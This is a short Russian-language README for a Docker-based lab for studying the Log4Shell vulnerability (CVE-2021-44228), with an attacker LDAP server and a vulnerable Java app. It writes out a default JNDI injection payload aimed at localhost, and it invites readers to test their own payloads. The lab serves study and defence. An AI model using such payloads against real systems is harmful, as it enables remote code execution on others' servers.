CVE-2021-44228 (Log4Shell) Лабораторная среда для изучения уязвимости

Введение

Этот проект предоставляет среду на базе Docker для безопасной практики и понимания критической уязвимости Log4j, известной как CVE-2021-44228 (Log4Shell).

Ключевые возможности

• Безопасная среда тестирования на базе Docker
• Возможность тестирования собственных эксплойт-пейлоадов
• Включает LDAP-сервер атакующего и уязвимое Java-приложение

Начало работы

docker compose up --build

Тестирование пейлоадов

1. Вы можете изменить пейлоад в тестовой секции файла /vulnerable/Makefile
2. Пейлоад по умолчанию использует $${jndi:ldap://127.0.0.1:10000/}